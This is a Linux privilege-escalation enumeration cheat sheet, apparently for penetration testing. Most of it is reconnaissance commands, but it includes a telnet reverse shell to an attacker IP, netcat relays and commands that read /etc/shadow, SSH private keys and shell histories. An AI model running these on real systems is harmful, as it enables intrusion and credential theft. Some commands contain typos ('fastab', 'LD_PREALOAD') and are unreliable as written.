Linux Enumeration

Helpful resources for privilege escalation on a Linux machine

Linux enumeration tools

• LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

• LinEnum: https://github.com/rebootuser/LinEnum

• LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester

• Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration

• Linux Priv Checker: https://github.com/linted/linuxprivchecker

Operating System

Distribution

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      #Debian based
cat /etc/redhat-release   #Redhat based

Kernel Version

cat /proc/version
uname -a
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

Environmental variables

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env

Applications & Services

What services are running? Which service has which user privilege?

ps aux
ps -ef
top 
cat /etc/services
jobs

Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

ps aux | grep root
ps -ef | grep root

What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
cat /etc/exports  # --> NFS shares

CronJob

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
cat /etc/cron.d/persistence
grep -rnw /usr -e "/home/student/message" #Example (/home/student/message)

Any plain text usernames or passwords?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

Networking

See NIC(s) type

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
hostname

What other users & hosts are communicating with the system?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on

IP and Mac addresses

arp -e
route
/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

Have you got a shell? Can you interact with the system?

nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!

Is port forwarding possible? Redirect and interact with traffic from another view

ssh -L 8080:127.0.0.1:80 [email protected]    # Local Port
ssh -R 8080:127.0.0.1:80 [email protected]    # Remote Port

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

Is tunneling possible? Send commands locally, remotely

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

id
who
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

What sensitive files can be found?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null  # find suid file
find / -perm -u=s -type f 2>/dev/null   # find suid file

Anything "Interesting" in the home directories? If it is possible to access

ls -ahlR /root/
ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been editing?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

What user information can be found?

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

Can private key information be found?

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

File System

Which configuration files can be written in /etc/? Able to reconfigure a service?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

Check /var directory

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

Check website files

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

Verify logs

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

How are file-systems mounted?

mount 
df -h

Are there any unmounted file-systems?

cat /etc/fastab

What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

Any "problem" files? Word-writeable, "nobody" files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

Check Library

cat /proc/*/environ| grep LD_PREALOAD
cat /etc/ld.so.*
cat /etc/ld.so.conf
# check /lib/ directory
lsof 
# check dynamic libraries
ldd /bin/ls

List of Checks in details

• Kernel and distribution release details

• System Information

• Hostname

• Networking details

• Current IP

• Default route details

• DNS server information

• User Information

• Current user details

• Last logged on users

• Shows users logged onto the host

• List all users including uid/gid information

• List root accounts

• Extracts password policies and hash storage method information

• Checks umask value

• Checks if password hashes are stored in /etc/passwd

• Extract full details for 'default' uid's such as 0, 1000, 1001 etc

• Attempt to read restricted files i.e. /etc/shadow

• List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)

• Basic SSH checks

• Privileged access:

• Which users have recently used sudo

• Determine if /etc/sudoers is accessible

• Determine if the current user has Sudo access without a password

• Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)

• Is root's home directory accessible

• List permissions for /home/

• Environmental:

• Display current $PATH

• Displays env information

• Jobs/Tasks:

• List all cron jobs

• Locate all world-writable cron jobs

• Locate cron jobs owned by other users of the system

• List the active and inactive systemd timers

• Services:

• List network connections (TCP & UDP)

• List running processes

• Lookup and list process binaries and associated permissions

• List inetd.conf/xined.conf contents and associated binary file permissions

• List init.d binary permissions

• Version Information (of the following):

• Sudo

• MYSQL

• Postgres

• Apache

  • Checks user config

  • Shows enabled modules

  • Checks for htpasswd files

  • View www directories

• Default/Weak Credentials:

• Checks for default/weak Postgres accounts

• Checks for default/weak MYSQL accounts

• Searches:

• Locate all SUID/GUID files

• Locate all world-writable SUID/GUID files

• Locate all SUID/GUID files owned by root

• Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)

• Locate files with POSIX capabilities

• List all world-writable files

• Find/list all accessible *.plan files and display contents

• Find/list all accessible *.rhosts files and display contents

• Show NFS server details

• Locate .conf and .log files containing keyword supplied at script runtime

• List all *.conf files located in /etc

• Locate mail

• Platform/software specific tests:

• Checks to determine if we're in a Docker container

• Checks to see if the host has Docker installed

• Checks to determine if we're in an LXC container